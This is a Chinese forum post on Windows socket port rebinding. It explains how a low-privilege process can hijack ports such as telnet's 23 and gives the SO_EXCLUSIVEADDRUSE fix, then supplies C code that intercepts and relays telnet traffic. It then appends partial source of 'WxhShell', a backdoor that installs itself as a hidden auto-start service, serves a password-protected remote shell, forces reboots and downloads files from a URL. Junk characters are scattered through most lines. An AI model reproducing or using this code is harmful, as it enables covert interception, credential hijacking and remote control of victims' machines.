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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: .`iG} j)\  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); re\@v8w~  
%uuh+@/&yz  
  saddr.sin_family = AF_INET; y^rcUPLT  
@R5jUPUVV  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); >@NH Al  
"[PxLq5  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Quc,,#u  
F{:ZHCm  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 di@4'$5#  
N1lhlw6  
  这意味着什么?意味着可以进行如下的攻击: [79 eq=  
F{#m~4O  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Wc}opp  
z7[TgL7  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Q9(J$_:  
?_\t7f  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 }(g`l)OX  
 T4}SF  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  yI&{8DCCw  
/5:f[-\s  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 M18H1e@Al  
+Za ew679  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 -=W"  
jlmP1b9  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ?[$=5?  
Q^^.@FU"x  
  #include @/S6P-4  
  #include A)5-w`1  
  #include - nWs@\  
  #include     R^%uEP  
  DWORD WINAPI ClientThread(LPVOID lpParam);   '~dE0ohWb  
  int main() UbBo#(TZ)  
  { .U8Se+;  
  WORD wVersionRequested; $ae*3L>5M  
  DWORD ret; ;5wmQFr  
  WSADATA wsaData; CYr2~0<g  
  BOOL val; RwH<JaL:  
  SOCKADDR_IN saddr; -29 Sw  
  SOCKADDR_IN scaddr; VZOf|o  
  int err; 8 S'g%  
  SOCKET s; Sm(QgZO[4  
  SOCKET sc; TBfX1v|Z)  
  int caddsize; oo{5 :  
  HANDLE mt; m oQ><>/  
  DWORD tid;   7g-#v'.N  
  wVersionRequested = MAKEWORD( 2, 2 ); E,Q>jH  
  err = WSAStartup( wVersionRequested, &wsaData ); aBPaC=g{HO  
  if ( err != 0 ) { )ca^%(25!z  
  printf("error!WSAStartup failed!\n"); F{1;~Yg%  
  return -1; DRldRm/  
  } \]y4e^FZZ  
  saddr.sin_family = AF_INET; p_!;N^y.  
   >U~B"'!xV  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 $9 GRAM.  
)PC(1Zn  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); !/4f/g4Ze  
  saddr.sin_port = htons(23); )"  H$1  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Luxo,Ve  
  { 32_{nLV$[  
  printf("error!socket failed!\n"); ]w _,0q  
  return -1; Q AJX7  
  } *}9i@DP1,  
  val = TRUE; SrV+Ox  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 K)2ZH@  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 0y$aGAUm  
  { 55vpnRM  
  printf("error!setsockopt failed!\n"); zcrLd={  
  return -1; K\ww,S  
  } !XjvvX"j  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ^(ks^<}  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Wt +, 6Cq  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 S~1>q+<Q  
_C9*M6IU  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 0\t k/<w2  
  { { 7y.0_Y  
  ret=GetLastError(); %Z-^Bu8;y  
  printf("error!bind failed!\n"); dw)SF,  
  return -1; :$&%Pxm  
  } V/Hjd`n)`i  
  listen(s,2); Xtqjx@ye  
  while(1) /#Y)nyE  
  { _A*5BAB:h(  
  caddsize = sizeof(scaddr); _S:6;_bz  
  //接受连接请求 U;n$  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); }$W4aG*[  
  if(sc!=INVALID_SOCKET) SWr?>dl  
  { ?PNG@OK  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); = GirUW D  
  if(mt==NULL) @ViJJ\  
  { 8tWOVLquJ  
  printf("Thread Creat Failed!\n"); #n^P[Zw  
  break; :.!]+#Me  
  } l-"c-2-!  
  } )SZt If  
  CloseHandle(mt); 0$3\D S<E  
  } [B9'/:  
  closesocket(s); G#/}_P  
  WSACleanup(); \^iPU 27H  
  return 0; ^4^1)' %  
  }   Y|J\,7CM  
  DWORD WINAPI ClientThread(LPVOID lpParam) b:.aZ7+4  
  { ;bVC7D~~4w  
  SOCKET ss = (SOCKET)lpParam; c0]^V>}cl  
  SOCKET sc; >N>WOLbb7(  
  unsigned char buf[4096]; o{yEF1,c\  
  SOCKADDR_IN saddr; *6~ODiB  
  long num; TEl :;4  
  DWORD val; Zrp`91&I  
  DWORD ret; #|fa/kb~  
  //如果是隐藏端口应用的话,可以在此处加一些判断 M}NmA  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   @s J[<V  
  saddr.sin_family = AF_INET; S!qJqZ<Bv  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); hK9Trrwau  
  saddr.sin_port = htons(23); 7 Xe|P1@)  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) !b0'd'xe  
  { pv&:N,p  
  printf("error!socket failed!\n"); D/jB .  
  return -1; 9;s:Bo  
  } c%v[p8 %  
  val = 100; `;b@a<Wl  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Q=J"#EFs  
  { + 8 5]]}I  
  ret = GetLastError(); $8o(_8Q)  
  return -1; ?ix--?jl  
  } 'M185wDdAl  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) FR9qW$B  
  { VTySKY+  
  ret = GetLastError(); +[*VU2f t  
  return -1; q}e"E cr  
  } ![3#([>4>  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) T!5m'Q.  
  { C{!L +]/  
  printf("error!socket connect failed!\n"); <m9hM?^q  
  closesocket(sc); wEENN_w  
  closesocket(ss); "P HkbU  
  return -1; C%d\DuJ5'~  
  } *T j(IN  
  while(1) KJ<7aZ  
  { jW*|Mu>2  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Twyx(~'&R  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 84^ '^nd  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 3^ ~M7=k  
  num = recv(ss,buf,4096,0); 7l> |G,[c  
  if(num>0) mZ 39 s  
  send(sc,buf,num,0); ~4h<nc  
  else if(num==0) K,e"@G  
  break; G%w.Z< qy  
  num = recv(sc,buf,4096,0); =; Gw=m(  
  if(num>0) Ig75bZz   
  send(ss,buf,num,0); $2qZds[  
  else if(num==0) P'f =r%  
  break; >c%OnA,3  
  } G'IqAKJ  
  closesocket(ss); _O)xE9t#ru  
  closesocket(sc); Bz<T{f  
  return 0 ; 0X@!i3eu  
  } A^:[+PJHN  
S9R(;  
vdw5T&Q{{C  
========================================================== I Y%M5(&Q  
YXI_ '  
下边附上一个代码,,WXhSHELL i^Vb42%y  
%jz]s4u$5j  
========================================================== Fb=(FQ2Y?  
)[RLCZ  
#include "stdafx.h" r(;oDdVc  
H'k$<S  
#include <stdio.h> /a.4atb0  
#include <string.h> ITJ{]7N  
#include <windows.h> ap=m5h27  
#include <winsock2.h> _DsA<SJ]  
#include <winsvc.h> gU\pP,a  
#include <urlmon.h> >B>[_8=f@  
Cbu/7z   
#pragma comment (lib, "Ws2_32.lib") {hQ0=rv<  
#pragma comment (lib, "urlmon.lib") !/] F.0  
wKOljE6d  
#define MAX_USER   100 // 最大客户端连接数 J1OZG6|e  
#define BUF_SOCK   200 // sock buffer F5UvD[i  
#define KEY_BUFF   255 // 输入 buffer ~C[p}MED  
mdjPK rF<  
#define REBOOT     0   // 重启 )_bc:6Q  
#define SHUTDOWN   1   // 关机 AsFn%8_I  
kQ~2mU  
#define DEF_PORT   5000 // 监听端口 I5]=\k($  
$A~UA  
#define REG_LEN     16   // 注册表键长度 .{+KKa $@G  
#define SVC_LEN     80   // NT服务名长度 y/=:F=H@w  
3m3ljy  
// 从dll定义API ;fomc<  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); {UqSq  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 9/A$ 3#wF  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); F6>K FU8  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); .OhpItn  
VB>KT(n-b  
// wxhshell配置信息 8VG6~>ux'>  
struct WSCFG { @z $,KUH  
  int ws_port;         // 监听端口 -& Qm"-?:  
  char ws_passstr[REG_LEN]; // 口令 oh*Hzb  
  int ws_autoins;       // 安装标记, 1=yes 0=no =5:L#` .  
  char ws_regname[REG_LEN]; // 注册表键名 LX<arHz  
  char ws_svcname[REG_LEN]; // 服务名 [5[}2 B_t  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 s5/5>a V  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 -s~6FrKy  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 [zXKS |  
int ws_downexe;       // 下载执行标记, 1=yes 0=no U'(Exr[  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" L1J \ C  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 2P\k;T(  
0$=Uhi  
}; b"D? @dGB,  
JFAmND;+  
// default Wxhshell configuration \YUl$d0  
struct WSCFG wscfg={DEF_PORT, /#mq*kNIM6  
    "xuhuanlingzhe", HCBZ*Z-  
    1, H~Z$pk%  
    "Wxhshell", EY~b,MIL4  
    "Wxhshell", .<xzf4C  
            "WxhShell Service", ?yAp&Ad  
    "Wrsky Windows CmdShell Service", lKVy{X 3]*  
    "Please Input Your Password: ", )"( ojh  
  1, I+JWDYk  
  "http://www.wrsky.com/wxhshell.exe", 0*e)_l!  
  "Wxhshell.exe" b:%z<vo  
    }; 1Yr&E_5/  
m/{HZKh  
// 消息定义模块 NO$n-<ag  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; l>(w]  
char *msg_ws_prompt="\n\r? for help\n\r#>"; FEOr'H<3x  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Th!.=S{Y5  
char *msg_ws_ext="\n\rExit."; 9gu$vF]9!  
char *msg_ws_end="\n\rQuit."; (I<]@7>  
char *msg_ws_boot="\n\rReboot..."; Qu 7#^%=  
char *msg_ws_poff="\n\rShutdown..."; $O\I9CGr$  
char *msg_ws_down="\n\rSave to "; 4}i2j  
~Te9Lq|  
char *msg_ws_err="\n\rErr!"; fj 14'T  
char *msg_ws_ok="\n\rOK!"; t1LIZ5JY  
FI.Ae/(U  
char ExeFile[MAX_PATH]; Z)JJ-V!  
int nUser = 0; 'A^;P]y  
HANDLE handles[MAX_USER]; 72i ]`   
int OsIsNt; 24Y8n  
W|~Jl7hs8Q  
SERVICE_STATUS       serviceStatus; 4[\$3t.L  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; sObH#/l`  
33R1<dRk  
// 函数声明 }"$2F0  
int Install(void); %_kXC~hH_  
int Uninstall(void); ]'L#'"@  
int DownloadFile(char *sURL, SOCKET wsh); 4=; . <  
int Boot(int flag); ,5Vc  
void HideProc(void); {|R@\G.1(  
int GetOsVer(void); y15 MWZ  
int Wxhshell(SOCKET wsl); +2DzX/3  
void TalkWithClient(void *cs); jb~W(8cj  
int CmdShell(SOCKET sock); qcNu9Ih  
int StartFromService(void); dwH8Zg$B  
int StartWxhshell(LPSTR lpCmdLine); |E& F e8  
dz3KBiq  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); PZT]H?  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); \+?>KpE,b  
/*V:Lh  
// 数据结构和表定义 $ 8"we  
SERVICE_TABLE_ENTRY DispatchTable[] = 2#srecIz-!  
{ |JUb 1|gi  
{wscfg.ws_svcname, NTServiceMain}, U~;Rzoe)q*  
{NULL, NULL} ;~A-32;Y4  
}; yN'< iTh  
ZWtlOP#]  
// 自我安装 DH@]d0N  
int Install(void) # NoY}*  
{ b]-~{' +  
  char svExeFile[MAX_PATH]; h20<X;  
  HKEY key; k$ ya.b<X/  
  strcpy(svExeFile,ExeFile); X@["Jjp  
pBZf=!+E  
// 如果是win9x系统,修改注册表设为自启动 '7Ad:em  
if(!OsIsNt) { S= NGJ 0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { v$WH#;(\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); P"Scs$NOU?  
  RegCloseKey(key); yLC5S3^1\"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { gv6}GE  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `Kt]i5[ "  
  RegCloseKey(key); xr;:gz!h  
  return 0; Kyr3)1#J  
    } {?!0<0  
  } Gp l  
} JU6PBY~C'  
else { ZaNZUVBh  
7Gos-_s  
// 如果是NT以上系统,安装为系统服务 ~.:9~(2;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); nDFF,ge;a#  
if (schSCManager!=0) %(P\"hE'  
{ EgYM][:UU  
  SC_HANDLE schService = CreateService O<*l"fw3  
  ( /Ezx'h3Q  
  schSCManager, 5PcN$r"P  
  wscfg.ws_svcname, A89n^@  
  wscfg.ws_svcdisp, 9=l6NNe)|  
  SERVICE_ALL_ACCESS, @5[9iY  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , _EusY3q  
  SERVICE_AUTO_START, ~!Ar`= [  
  SERVICE_ERROR_NORMAL, Au=9<WB%H  
  svExeFile, `U.VfQR:  
  NULL, 51)Q&,Mo#  
  NULL, G*`H2-,  
  NULL, 342m=7lK  
  NULL, I7S#vIMXR.  
  NULL sC< B  
  ); z{>p<)h  
  if (schService!=0) aFbIJm=!  
  { =*[98%b   
  CloseServiceHandle(schService); =JR6-A1>  
  CloseServiceHandle(schSCManager); w,s++bV;L  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ,Fv8&tR  
  strcat(svExeFile,wscfg.ws_svcname); 6m\MYay  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { f Yt y7  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); C4].egVg  
  RegCloseKey(key);  gZg5On  
  return 0; Y30T>5  
    } #Bih=A #  
  } S>6f0\F/Y%  
  CloseServiceHandle(schSCManager); J8;lG  
} 9_4bw9 A  
} h(>eHP  
xh90qm  
return 1; r](%9Y  
} &yabxl_  
-aV!ZODt  
// 自我卸载 m 4r!Ck|  
int Uninstall(void) nF)XZB 0F  
{ lG>,&(  
  HKEY key; Dus [N< w  
j{`C|zg  
if(!OsIsNt) { )o;oOPT!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3+uCTn0%  
  RegDeleteValue(key,wscfg.ws_regname); }}Kj b  
  RegCloseKey(key); WxrG o o^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +%'!+r l  
  RegDeleteValue(key,wscfg.ws_regname); JHvawFBN<u  
  RegCloseKey(key); FD*) @4<o  
  return 0; :,f~cdq=  
  } b<]Ae!I'  
} AY B~{  
} ..=WG@>$+  
else { ';>A=m9(4%  
M#CYDEB  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); P2t{il   
if (schSCManager!=0) 6]D%|R,Q#}  
{ yd>b2 M  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); \Aa{]t  
  if (schService!=0) |3:e$  
  { "rJJ~[Y  
  if(DeleteService(schService)!=0) { MKPw;@-  
  CloseServiceHandle(schService); Pf/_lBtL  
  CloseServiceHandle(schSCManager); EG&97l b  
  return 0; `J v~.EF%  
  } }NgevsV>;  
  CloseServiceHandle(schService); }QzF.![~z  
  } -KA Y  
  CloseServiceHandle(schSCManager); ^fq^s T.$  
} O`rKxP  
} <{Pr(U*7}  
{S6:LsFfm  
return 1; H-g CY|W  
} z=[?&X]O9b  
E8LZ% N#  
// 从指定url下载文件 tSf$`4  
int DownloadFile(char *sURL, SOCKET wsh) 4F=cER6l  
{ 921m'WE  
  HRESULT hr; 02RZ>m+  
char seps[]= "/"; T4fVZd)x  
char *token; gbvMS*KQz  
char *file; g[%^OT#  
char myURL[MAX_PATH]; w40 -K5wt>  
char myFILE[MAX_PATH]; D9 \!97  
OC5\3H  
strcpy(myURL,sURL); =g3o@WD/G  
  token=strtok(myURL,seps); TYH4r q &  
  while(token!=NULL) (aUdPo8H^  
  { wOLA8UYW  
    file=token; q?0&&"T}  
  token=strtok(NULL,seps); ui .riD[,O  
  } 98ot{+/LK  
<oKoz0!  
GetCurrentDirectory(MAX_PATH,myFILE); L}hc|(:  
strcat(myFILE, "\\"); T? e(m  
strcat(myFILE, file); ( C~ u.  
  send(wsh,myFILE,strlen(myFILE),0); {4^NZTjd@  
send(wsh,"...",3,0); R|g50Q  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 9%& =n  
  if(hr==S_OK) 0Bn35.K  
return 0; *m6h(8(7Z  
else bD:[r))#e  
return 1; <nk7vo?Ks  
|x+g5~$  
} Gv\:Agi  
n1    
// 系统电源模块 m/bP`-/,  
int Boot(int flag) =~P)7D6  
{ - U Elu4n&  
  HANDLE hToken; Q^} Ib[  
  TOKEN_PRIVILEGES tkp; g 5@P  
iyJx~:  
  if(OsIsNt) { `3?5Z/,y  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); FnWN]9  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); G<W;HMj2  
    tkp.PrivilegeCount = 1; 4r tNvf5`  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 0?Bv zfb  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Rc2JgV  
if(flag==REBOOT) { ?8-ho0f0  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ep)O|_=  
  return 0; 3k# h!Z  
} PR3&LI;B*  
else { Ux-i iH#s  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) nw,XA0M3  
  return 0; =Y {<&:%(  
} yN{TcX  
  }  wzf  
  else { bZlKy`Z  
if(flag==REBOOT) { )s|o&aP>  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) tRVz4fk[G  
  return 0; 3,^.  
} FjV)QP H  
else { Y+nk:9  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) RMs+pN<5  
  return 0; w`_"R6  
} {NUI8AL46A  
} ~s2la~gu  
] XjL""EbC  
return 1; uN@El1ouY  
} :$Xvq-#$|  
>Vph_98|  
// win9x进程隐藏模块 821;;]H  
void HideProc(void) Oh5aJ)"D  
{ Mhu|S)hn  
|ngv{g  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ']U<R=5T$  
  if ( hKernel != NULL ) m[qW)N:w  
  { Eg(.L,dj  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); M \UB r4  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Kh7C7[&  
    FreeLibrary(hKernel); `Sal-|[Cv[  
  } MW|R)gt  
Ejj+%)n.  
return; TjS &V  
} -"6Z@8=  
+1nzyD_E  
// 获取操作系统版本 r2m&z%N &  
int GetOsVer(void) u]Z;Q_=  
{ F^CR$L& K  
  OSVERSIONINFO winfo; NH<~B C]I  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); -5Oy k,  
  GetVersionEx(&winfo); R(f6uO!m  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) R$bDj >8  
  return 1; O>d [;Q  
  else 4 q\&Mb3  
  return 0; rgF4 W8  
} Nxr\Yey  
*uoO#4g~  
// 客户端句柄模块 fZb}-  
int Wxhshell(SOCKET wsl) ]G Blads  
{ (0["|h32,  
  SOCKET wsh; hC?rHw H>  
  struct sockaddr_in client; 6w~Cyu4Ov  
  DWORD myID; [l}H%S   
r@EHn[w  
  while(nUser<MAX_USER) m(`O>zS  
{ ! ~tf0aY  
  int nSize=sizeof(client); 06z+xxCo  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize);  54#P  
  if(wsh==INVALID_SOCKET) return 1; VniU:A  
+F*h\4ry#  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); og&-P=4O  
if(handles[nUser]==0) u82(`+B  
  closesocket(wsh); 4 %V9  
else ~ R eX$9  
  nUser++; iK!FVKi}  
  } D!z'Y,.  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); _*E j3=u  
dDa&:L  
  return 0; H5*#=It  
} aYM~Ub:x{  
8nwps(3  
// 关闭 socket qkqtPbQ 7  
void CloseIt(SOCKET wsh) 4s@Tn>%SP  
{ frc9   
closesocket(wsh); \BX9Wn*)a  
nUser--; S gssNv  
ExitThread(0); L1f=90  
} X#HH7V>  
2@IL  n+#  
// 客户端请求句柄 (\o4 c0UzK  
void TalkWithClient(void *cs) j{D tjV8  
{ #M4LG; B  
_%Yi ^^  
  SOCKET wsh=(SOCKET)cs; `"hWbmQ  
  char pwd[SVC_LEN]; H>},{ z  
  char cmd[KEY_BUFF]; {rK]Q! yj  
char chr[1]; B&_Z&H=  
int i,j; mX!*|$bs  
;&'ryYrex  
  while (nUser < MAX_USER) { %hlgLM  
bI`JG:^b  
if(wscfg.ws_passstr) { e7bMK<:r  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [4aw*M1z}.  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); XE&h&v=>  
  //ZeroMemory(pwd,KEY_BUFF); \98N8p;,I  
      i=0; A3*(c3  
  while(i<SVC_LEN) { |5ge4,}0  
/Kq'3[d8  
  // 设置超时 qHtIjtt[q  
  fd_set FdRead; }"SqB{5e(  
  struct timeval TimeOut; W\j)Vg__e  
  FD_ZERO(&FdRead); 9|[uie  
  FD_SET(wsh,&FdRead); \Rb:t}  
  TimeOut.tv_sec=8; &W c$VDC  
  TimeOut.tv_usec=0; UvM4-M%2JN  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 3o0ZS^#eB  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); TI\xCIH  
w^("Pg`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); N UJ $)qNA  
  pwd=chr[0]; =9W\;xE S  
  if(chr[0]==0xd || chr[0]==0xa) { Yi)s=Q:  
  pwd=0; +S[3HX7H  
  break; 7!h> < sx  
  } MJrPI a[pN  
  i++; !s?SI=B8  
    } Ok|Dh;1_  
U]w"T{;@.)  
  // 如果是非法用户,关闭 socket )B)f`(SA"<  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 0xO*8aKT  
} 6/?onEL9_  
<VQ)}HW;k  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); RjTGm=1w  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "a}fwg9Y  
eV/oY1B]<  
while(1) { Pr(@&:v:  
Jj\lF*B  
  ZeroMemory(cmd,KEY_BUFF); mw}Bl; - O  
8D,*_p  
      // 自动支持客户端 telnet标准   `'sD(e  
  j=0; "P54|XIJ\  
  while(j<KEY_BUFF) { "tl$JbRTY  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); GN9kCyPK  
  cmd[j]=chr[0]; M8<Vd1-5  
  if(chr[0]==0xa || chr[0]==0xd) { 3 u4Q!U%(D  
  cmd[j]=0; CaO-aL  
  break; 9xhc:@B1J  
  } qk3|fW/-  
  j++;  o kA<  
    } c-}[v<o  
"y&`,s5}  
  // 下载文件 0Ci/-3HV!  
  if(strstr(cmd,"http://")) { 3l41"5Fy&  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ,Kl?-W@  
  if(DownloadFile(cmd,wsh)) 8.8t$  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Iv*\8?07)  
  else O !{YwE8x9  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >5:O%zQ@  
  } .(.<  
  else { ZV+tHgzlv5  
{GLGDEb  
    switch(cmd[0]) { `&7tADFB  
  PnaiSt9p?r  
  // 帮助 w4Df?)Z  
  case '?': { H~nZ=`P9&  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); UO@K:n  
    break; Es)|#0m\x@  
  } t(-,mw  
  // 安装 O0xqA\  
  case 'i': { ~'KqiUY  
    if(Install()) L/exR6M7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3N|z^6`#  
    else ^N|8 B?Vg  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HOFxOBV  
    break; JHvev,#4  
    } H(K PU1lDw  
  // 卸载 J;8 d-R5  
  case 'r': { ]lBCK  
    if(Uninstall()) (BeJ,K7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J:glJ'4E  
    else )3:0TFS}}k  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oq+w2yR  
    break; W Eif&<Y  
    } ?`rAO#1  
  // 显示 wxhshell 所在路径 9%iQ~   
  case 'p': { Q]/%Y[%|  
    char svExeFile[MAX_PATH]; _7<{+Zzm  
    strcpy(svExeFile,"\n\r");  k-=LD  
      strcat(svExeFile,ExeFile); 3S7"P$q  
        send(wsh,svExeFile,strlen(svExeFile),0); 5HV+7zU5  
    break; cS9jGD92  
    } 0O>ClE~P  
  // 重启 ;s/<wx-C  
  case 'b': { +)"Rv%.  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); M lR~`B}m  
    if(Boot(REBOOT)) C$1W+(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WJnGF3G>  
    else { ([dd)QU  
    closesocket(wsh); 3^+D,)#D^  
    ExitThread(0); ;x/eb g  
    } qGV_oa74  
    break; J4"Fj, FS  
    } ! I0xq"  
  // 关机 Jq'8"  
  case 'd': { P8,Ps+  
